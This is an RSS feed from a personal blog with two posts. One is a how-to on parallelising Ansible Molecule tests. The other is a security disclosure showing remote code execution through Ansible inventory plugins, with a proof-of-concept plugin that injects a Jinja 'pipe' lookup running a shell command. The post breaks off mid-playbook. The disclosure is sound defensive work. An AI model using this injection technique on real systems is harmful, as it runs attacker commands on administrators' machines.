<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="../assets/xml/rss.xsl" media="all"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>die-welt.net (Posts about ansible)</title><link>https://www.die-welt.net/</link><description></description><atom:link href="https://www.die-welt.net/category/ansible.xml" rel="self" type="application/rss+xml"></atom:link><language>en</language><copyright>Contents © 2026 &lt;a href="mailto:evgeni@golov.de"&gt;evgeni&lt;/a&gt; </copyright><lastBuildDate>Mon, 08 Jun 2026 05:09:20 GMT</lastBuildDate><generator>Nikola (getnikola.com)</generator><docs>http://blogs.law.harvard.edu/tech/rss</docs><item><title>Running Ansible Molecule tests in parallel</title><link>https://www.die-welt.net/2024/04/running-ansible-molecule-tests-in-parallel/</link><dc:creator>evgeni</dc:creator><description>&lt;p&gt;Or "How I've halved the execution time of our tests by removing ten lines".
Catchy, huh? Also not &lt;em&gt;exactly&lt;/em&gt; true, but quite close. Enjoy!&lt;/p&gt;
&lt;h3&gt;Molecule?!&lt;/h3&gt;
&lt;p&gt;"&lt;a href="https://ansible.readthedocs.io/projects/molecule/"&gt;Molecule project&lt;/a&gt; is designed to aid in the development and testing of Ansible roles."&lt;/p&gt;
&lt;p&gt;No idea about the development part (I have &lt;code&gt;vim&lt;/code&gt; and &lt;code&gt;mkdir&lt;/code&gt;), but it's really good for integration testing.
You can write different &lt;a href="https://ansible.readthedocs.io/projects/molecule/getting-started/"&gt;test scenarios&lt;/a&gt; where you define an environment (usually a container), a playbook for the execution and a playbook for verification.
(And a lot more, but that's quite unimportant for now, so go read the docs if you want more details.)&lt;/p&gt;
&lt;p&gt;If you ever used &lt;a href="https://github.com/voxpupuli/beaker"&gt;Beaker&lt;/a&gt; for Puppet integration testing, you'll feel right at home (once you've thrown away Ruby and DSLs and embraced YAML for everything).&lt;/p&gt;
&lt;p&gt;I'd like to point out one thing, before we continue.
Have another look at the quote above.&lt;/p&gt;
&lt;p&gt;"Molecule project is designed to aid in the development and testing of Ansible &lt;strong&gt;roles&lt;/strong&gt;."&lt;/p&gt;
&lt;p&gt;That's right.
The project was &lt;a href="https://github.com/ansible/molecule/commit/43d1c4f8cb3077dbee9989afe504a7bd7e16f7d5"&gt;started&lt;/a&gt; in 2015 and was always about &lt;em&gt;roles&lt;/em&gt;.
There is nothing wrong about that, but given the Ansible world has moved on to collections (which can contain roles), you start facing challenges.&lt;/p&gt;
&lt;h3&gt;Challenges using Ansible Molecule in the Collections world&lt;/h3&gt;
&lt;p&gt;The biggest challenge didn't change since the last time I looked at the topic in 2020: &lt;a href="https://www.die-welt.net/2020/07/using-ansible-molecule-to-test-roles-in-monorepos/"&gt;running tests for multiple roles in a single repository ("monorepo") is tedious&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Well, guess what a collection is?
Yepp, a repository with multiple roles in it.&lt;/p&gt;
&lt;p&gt;It did get a bit better though.
There is &lt;a href="https://ansible.readthedocs.io/projects/pytest-ansible/"&gt;pytest-ansible&lt;/a&gt; now, which has &lt;a href="https://ansible.readthedocs.io/projects/pytest-ansible/getting_started/#molecule-scenario-integration"&gt;integration for Molecule&lt;/a&gt;.
This allows the execution of Molecule and even provides reasonable logging with something as short as:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;%&lt;span class="w"&gt; &lt;/span&gt;pytest&lt;span class="w"&gt; &lt;/span&gt;--molecule&lt;span class="w"&gt; &lt;/span&gt;roles/
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;That's much better than the shell script I used in 2020!&lt;/p&gt;
&lt;p&gt;However, being able to execute tests is one thing.
Being able to execute them &lt;em&gt;fast&lt;/em&gt; is another one.&lt;/p&gt;
&lt;p&gt;Given Molecule was initially designed with single roles in mind, it has switches to run all scenarios of a role (&lt;code&gt;--all&lt;/code&gt;), but it has no way to run these in parallel.
That's fine if you have one or two scenarios in your role repository.
But what if you have 10 in your collection?&lt;/p&gt;
&lt;p&gt;"No way?!" you say after quickly running &lt;code&gt;molecule test --help&lt;/code&gt;, "But there is…"&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;% &lt;/span&gt;molecule&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--help
&lt;span class="go"&gt;Usage: molecule test [OPTIONS] [ANSIBLE_ARGS]...&lt;/span&gt;
&lt;span class="go"&gt;…&lt;/span&gt;
&lt;span class="go"&gt;  --parallel / --no-parallel      Enable or disable parallel mode. Default is disabled.&lt;/span&gt;
&lt;span class="go"&gt;…&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Yeah, that switch exists, but it &lt;a href="https://ansible.readthedocs.io/projects/molecule/guides/parallel/"&gt;only tells Molecule to place things in separate folders, you still need to parallelize yourself with GNU &lt;code&gt;parallel&lt;/code&gt; or &lt;code&gt;pytest&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;And here our actual journey starts!&lt;/p&gt;
&lt;h3&gt;Running Ansible Molecule tests in parallel&lt;/h3&gt;
&lt;p&gt;To run Molecule via &lt;code&gt;pytest&lt;/code&gt; in parallel, we can use &lt;a href="https://pytest-xdist.readthedocs.io/"&gt;&lt;code&gt;pytest-xdist&lt;/code&gt;&lt;/a&gt;, which allows &lt;code&gt;pytest&lt;/code&gt; to run the tests in multiple processes.&lt;/p&gt;
&lt;p&gt;With that, our &lt;code&gt;pytest&lt;/code&gt; call becomes something like this:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;% &lt;/span&gt;&lt;span class="nv"&gt;MOLECULE_OPTS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"--parallel"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pytest&lt;span class="w"&gt; &lt;/span&gt;--numprocesses&lt;span class="w"&gt; &lt;/span&gt;auto&lt;span class="w"&gt; &lt;/span&gt;--molecule&lt;span class="w"&gt; &lt;/span&gt;roles/
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;What does that mean?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;MOLECULE_OPTS&lt;/code&gt; passes random options to the Molecule call &lt;code&gt;pytest&lt;/code&gt; does, and we need to add &lt;code&gt;--parallel&lt;/code&gt; there.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--numprocesses auto&lt;/code&gt; tells &lt;code&gt;pytest-xdist&lt;/code&gt; to create as many workers as you have CPUs and balance the work across those.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;However, once we actually execute it, we see:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;% &lt;/span&gt;&lt;span class="nv"&gt;MOLECULE_OPTS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"--parallel"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;pytest&lt;span class="w"&gt; &lt;/span&gt;--numprocesses&lt;span class="w"&gt; &lt;/span&gt;auto&lt;span class="w"&gt; &lt;/span&gt;--molecule&lt;span class="w"&gt; &lt;/span&gt;roles/
&lt;span class="go"&gt;…&lt;/span&gt;
&lt;span class="go"&gt;WARNING  Driver podman does not provide a schema.&lt;/span&gt;
&lt;span class="go"&gt;INFO     debian scenario test matrix: dependency, cleanup, destroy, syntax, create, prepare, converge, idempotence, side_effect, verify, cleanup, destroy&lt;/span&gt;
&lt;span class="go"&gt;INFO     Performing prerun with role_name_check=0...&lt;/span&gt;
&lt;span class="go"&gt;WARNING  Retrying execution failure 250 of: ansible-galaxy collection install -vvv --force ../..&lt;/span&gt;
&lt;span class="go"&gt;ERROR    Command returned 250 code:&lt;/span&gt;
&lt;span class="go"&gt;…&lt;/span&gt;
&lt;span class="go"&gt;OSError: [Errno 39] Directory not empty: 'roles'&lt;/span&gt;
&lt;span class="go"&gt;…&lt;/span&gt;
&lt;span class="go"&gt;FileExistsError: [Errno 17] File exists: b'/home/user/namespace.collection/collections/ansible_collections/namespace/collection'&lt;/span&gt;
&lt;span class="go"&gt;…&lt;/span&gt;
&lt;span class="go"&gt;FileNotFoundError: [Errno 2] No such file or directory: b'/home/user/namespace.collection//collections/ansible_collections/namespace/collection/roles/my_role/molecule/debian/molecule.yml'&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You might see other errors, other paths, etc, but they all will have one in common: they indicate that either files or directories are present, while the tool expects them not to be, or vice versa.&lt;/p&gt;
&lt;p&gt;Ah yes, that fine smell of race conditions.&lt;/p&gt;
&lt;p&gt;I'll spare you the wild-goose chase I went on when trying to find out what the heck was calling &lt;code&gt;ansible-galaxy collection install&lt;/code&gt; here.
Instead, I'll just point at the following line:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;INFO     Performing prerun with role_name_check=0...
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;What is this "prerun" you ask?
Well…
&lt;a href="https://ansible.readthedocs.io/projects/molecule/configuration/#prerun"&gt;"To help Ansible find used modules and roles, molecule will perform a prerun set of actions. These involve installing dependencies from requirements.yml specified at the project level, installing a standalone role or a collection."&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Turns out, this step is not &lt;code&gt;--parallel&lt;/code&gt;-safe (yet?).&lt;/p&gt;
&lt;p&gt;Luckily, it can easily be disabled, for all our roles in the collection:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;% &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;.config/molecule
&lt;span class="gp"&gt;% &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'prerun: false'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;.config/molecule/config.yml
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This works perfectly, as long as you don't have any dependencies.&lt;/p&gt;
&lt;p&gt;And we don't have any, right?
We didn't define any in a &lt;code&gt;molecule/collections.yml&lt;/code&gt;, our collection has none.&lt;/p&gt;
&lt;p&gt;So let's push a PR with that and see what our CI thinks.&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;OSError: [Errno 39] Directory not empty: 'tests'
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Huh?&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="n"&gt;FileExistsError&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Errno&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;exists&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="s"&gt;'remote.sh'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="s"&gt;'/home/runner/work/namespace.collection/namespace.collection/collections/ansible_collections/ansible/posix/tests/utils/shippable/aix.sh'&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;What?&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;ansible_compat.errors.InvalidPrerequisiteError: Found collection at '/home/runner/work/namespace.collection/namespace.collection/collections/ansible_collections/ansible/posix' but missing MANIFEST.json, cannot get info.
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Okay, okay, I get the idea…
But why?&lt;/p&gt;
&lt;p&gt;Well, our collection might not have any dependencies, BUT MOLECULE HAS!
When using Docker containers, it uses &lt;code&gt;community.docker&lt;/code&gt;, when using Podman &lt;code&gt;containers.podman&lt;/code&gt;, etc…&lt;/p&gt;
&lt;p&gt;So we have to install those &lt;em&gt;before&lt;/em&gt; running Molecule, and everything should be fine.
We even can use Molecule to do this!&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;$&lt;span class="w"&gt; &lt;/span&gt;molecule&lt;span class="w"&gt; &lt;/span&gt;dependency&lt;span class="w"&gt; &lt;/span&gt;--scenario&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;scenario&amp;gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And with that knowledge, the patch to enable parallel Molecule execution on GitHub Actions using &lt;code&gt;pytest-xdist&lt;/code&gt; becomes:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gh"&gt;diff --git a/.config/molecule/config.yml b/.config/molecule/config.yml&lt;/span&gt;
new file mode 100644
&lt;span class="gh"&gt;index 0000000..32ed66d&lt;/span&gt;
&lt;span class="gd"&gt;--- /dev/null&lt;/span&gt;
&lt;span class="gi"&gt;+++ b/.config/molecule/config.yml&lt;/span&gt;
&lt;span class="gu"&gt;@@ -0,0 +1 @@&lt;/span&gt;
&lt;span class="gi"&gt;+prerun: false&lt;/span&gt;
&lt;span class="gh"&gt;diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml&lt;/span&gt;
&lt;span class="gh"&gt;index 0f9da0d..df55a15 100644&lt;/span&gt;
&lt;span class="gd"&gt;--- a/.github/workflows/test.yml&lt;/span&gt;
&lt;span class="gi"&gt;+++ b/.github/workflows/test.yml&lt;/span&gt;
&lt;span class="gu"&gt;@@ -58,9 +58,13 @@ jobs:&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;      - name: Install Ansible
&lt;span class="w"&gt; &lt;/span&gt;        run: pip install --upgrade https://github.com/ansible/ansible/archive/${{ matrix.ansible }}.tar.gz
&lt;span class="w"&gt; &lt;/span&gt;      - name: Install dependencies
&lt;span class="gd"&gt;-        run: pip install molecule molecule-plugins pytest pytest-ansible&lt;/span&gt;
&lt;span class="gi"&gt;+        run: pip install molecule molecule-plugins pytest pytest-ansible pytest-xdist&lt;/span&gt;
&lt;span class="gi"&gt;+      - name: Install collection dependencies&lt;/span&gt;
&lt;span class="gi"&gt;+        run: cd roles/repository &amp;amp;&amp;amp; molecule dependency -s suse&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;      - name: Run tests
&lt;span class="gd"&gt;-        run: pytest -vv --molecule roles/&lt;/span&gt;
&lt;span class="gi"&gt;+        run: pytest -vv --numprocesses auto --molecule roles/&lt;/span&gt;
&lt;span class="gi"&gt;+        env:&lt;/span&gt;
&lt;span class="gi"&gt;+          MOLECULE_OPTS: --parallel&lt;/span&gt;

&lt;span class="w"&gt; &lt;/span&gt;  ansible-lint:
&lt;span class="w"&gt; &lt;/span&gt;    runs-on: ubuntu-latest
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But you promised us to delete ten lines, that's just a &lt;code&gt;+7-2&lt;/code&gt; patch!&lt;/p&gt;
&lt;p&gt;Oh yeah, sorry, the &lt;code&gt;+10-20&lt;/code&gt; (so a net &lt;code&gt;-10&lt;/code&gt;) is the &lt;a href="https://github.com/theforeman/foreman-operations-collection/pull/161"&gt;foreman-operations-collection version of the patch&lt;/a&gt;, that also migrates from an ugly bash script to &lt;code&gt;pytest-ansible&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;And yes, that cuts down the execution from ~26 minutes to ~13 minutes.&lt;/p&gt;
&lt;p&gt;In the collection I originally tested this with, it's a more moderate "from 8-9 minutes to 5-6 minutes", which is still good though :)&lt;/p&gt;</description><category>ansible</category><category>debian</category><category>english</category><category>linux</category><category>planet-debian</category><category>software</category><guid>https://www.die-welt.net/2024/04/running-ansible-molecule-tests-in-parallel/</guid><pubDate>Sun, 28 Apr 2024 19:04:31 GMT</pubDate></item><item><title>Remote Code Execution in Ansible dynamic inventory plugins</title><link>https://www.die-welt.net/2024/03/remote-code-execution-in-ansible-dynamic-inventory-plugins/</link><dc:creator>evgeni</dc:creator><description>&lt;p&gt;I had reported this to Ansible a year ago (2023-02-23), but it seems this is considered expected behavior, so I am posting it here now.&lt;/p&gt;
&lt;h3&gt;TL;DR&lt;/h3&gt;
&lt;p&gt;Don't ever consume any data you got from an inventory if there is a chance somebody untrusted touched it.&lt;/p&gt;
&lt;h3&gt;Inventory plugins&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://docs.ansible.com/ansible/latest/plugins/inventory.html#inventory-plugins"&gt;Inventory plugins&lt;/a&gt; allow Ansible to pull inventory data from a variety of sources.
The most common ones are probably the ones fetching instances from clouds like &lt;a href="https://docs.ansible.com/ansible/latest/collections/amazon/aws/aws_ec2_inventory.html"&gt;Amazon EC2&lt;/a&gt;
and &lt;a href="https://docs.ansible.com/ansible/latest/collections/hetzner/hcloud/hcloud_inventory.html"&gt;Hetzner Cloud&lt;/a&gt; or the ones talking to tools like &lt;a href="https://theforeman.org/"&gt;Foreman&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For Ansible to function, an inventory needs to tell Ansible how to connect to a host (so e.g. a network address) and which groups the host belongs to (if any).
But it can also set any arbitrary variable for that host, which is often used to provide additional information about it.
These can be tags in EC2, parameters in Foreman, and other arbitrary data someone thought would be good to attach to that object.&lt;/p&gt;
&lt;p&gt;And this is where things are getting interesting.
Somebody could add a comment to a host and that comment would be visible to you when you use the inventory with that host.
And if that comment contains a &lt;a href="https://jinja.palletsprojects.com/"&gt;Jinja&lt;/a&gt; expression, it might get executed.
And if that Jinja expression is using the &lt;a href="https://docs.ansible.com/ansible/latest/plugins/lookup.html"&gt;&lt;code&gt;pipe&lt;/code&gt; lookup&lt;/a&gt;, it might get executed in your shell.&lt;/p&gt;
&lt;p&gt;Let that sink in for a moment, and then we'll look at an example.&lt;/p&gt;
&lt;h3&gt;Example inventory plugin&lt;/h3&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;ansible.plugins.inventory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BaseInventoryPlugin&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;InventoryModule&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BaseInventoryPlugin&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

    &lt;span class="n"&gt;NAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'evgeni.inventoryrce.inventory'&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;verify_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;valid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;InventoryModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;verify_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;endswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'evgeni.yml'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                &lt;span class="n"&gt;valid&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;valid&lt;/span&gt;

    &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;inventory&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;loader&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;InventoryModule&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inventory&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;loader&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inventory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_host&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'exploit.example.com'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inventory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_variable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'exploit.example.com'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'ansible_connection'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'local'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inventory&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_variable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'exploit.example.com'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'something_funny'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'{{ lookup("pipe", "touch /tmp/hacked" ) }}'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The code is mostly copy &amp;amp; paste from the &lt;a href="https://docs.ansible.com/ansible/latest/dev_guide/developing_inventory.html"&gt;Developing dynamic inventory&lt;/a&gt; docs for Ansible and does three things:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;defines the plugin name as &lt;code&gt;evgeni.inventoryrce.inventory&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;accepts any config that ends with &lt;code&gt;evgeni.yml&lt;/code&gt; (we'll need that to trigger the use of this inventory later)&lt;/li&gt;
&lt;li&gt;adds an imaginary host &lt;code&gt;exploit.example.com&lt;/code&gt; with &lt;code&gt;local&lt;/code&gt; connection type and &lt;code&gt;something_funny&lt;/code&gt; variable to the inventory&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In reality this would be talking to some API, iterating over hosts known to it, fetching their data, etc.
But the structure of the code would be very similar.&lt;/p&gt;
&lt;p&gt;The crucial part is that if we have a string with a Jinja expression, we can set it as a variable for a host.&lt;/p&gt;
&lt;h3&gt;Using the example inventory plugin&lt;/h3&gt;
&lt;p&gt;Now we install the collection containing this inventory plugin,
or rather write the code to &lt;code&gt;~/.ansible/collections/ansible_collections/evgeni/inventoryrce/plugins/inventory/inventory.py&lt;/code&gt;
(or wherever your Ansible loads its collections from).&lt;/p&gt;
&lt;p&gt;And we create a configuration file.
As there is nothing to configure, it can be empty and only needs to have the right filename: &lt;code&gt;touch inventory.evgeni.yml&lt;/code&gt; is all you need.&lt;/p&gt;
&lt;p&gt;If we now call &lt;code&gt;ansible-inventory&lt;/code&gt;, we'll see our host and our variable present:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="gp"&gt;% &lt;/span&gt;&lt;span class="nv"&gt;ANSIBLE_INVENTORY_ENABLED&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;evgeni.inventoryrce.inventory&lt;span class="w"&gt; &lt;/span&gt;ansible-inventory&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;inventory.evgeni.yml&lt;span class="w"&gt; &lt;/span&gt;--list
&lt;span class="go"&gt;{&lt;/span&gt;
&lt;span class="go"&gt;    "_meta": {&lt;/span&gt;
&lt;span class="go"&gt;        "hostvars": {&lt;/span&gt;
&lt;span class="go"&gt;            "exploit.example.com": {&lt;/span&gt;
&lt;span class="go"&gt;                "ansible_connection": "local",&lt;/span&gt;
&lt;span class="go"&gt;                "something_funny": "{{ lookup(\"pipe\", \"touch /tmp/hacked\" ) }}"&lt;/span&gt;
&lt;span class="go"&gt;            }&lt;/span&gt;
&lt;span class="go"&gt;        }&lt;/span&gt;
&lt;span class="go"&gt;    },&lt;/span&gt;
&lt;span class="go"&gt;    "all": {&lt;/span&gt;
&lt;span class="go"&gt;        "children": [&lt;/span&gt;
&lt;span class="go"&gt;            "ungrouped"&lt;/span&gt;
&lt;span class="go"&gt;        ]&lt;/span&gt;
&lt;span class="go"&gt;    },&lt;/span&gt;
&lt;span class="go"&gt;    "ungrouped": {&lt;/span&gt;
&lt;span class="go"&gt;        "hosts": [&lt;/span&gt;
&lt;span class="go"&gt;            "exploit.example.com"&lt;/span&gt;
&lt;span class="go"&gt;        ]&lt;/span&gt;
&lt;span class="go"&gt;    }&lt;/span&gt;
&lt;span class="go"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;(&lt;a href="https://docs.ansible.com/ansible/latest/reference_appendices/config.html#envvar-ANSIBLE_INVENTORY_ENABLED"&gt;&lt;code&gt;ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory&lt;/code&gt;&lt;/a&gt; is required to allow the use of our inventory plugin, as it's not in the default list.)&lt;/p&gt;
&lt;p&gt;So far, nothing dangerous has happened.
The inventory got generated, the host is present, the funny variable is set, but it's still only a string.&lt;/p&gt;
&lt;h3&gt;Executing a playbook, interpreting Jinja&lt;/h3&gt;
&lt;p&gt;To execute the code we'd need to use the variable in a context where Jinja is used.
This could be a template where you actually use this variable, like a report where you print the comment the creator has added to a VM.&lt;/p&gt;
&lt;p&gt;Or a &lt;a href="https://docs.ansible.com/ansible/latest/collections/ansible/builtin/debug_module.html"&gt;&lt;code&gt;debug&lt;/code&gt;&lt;/a&gt; task where you dump all variables of a host to analyze what's set.
Let's use that!&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code literal-block"&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;hosts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;all&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;tasks&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
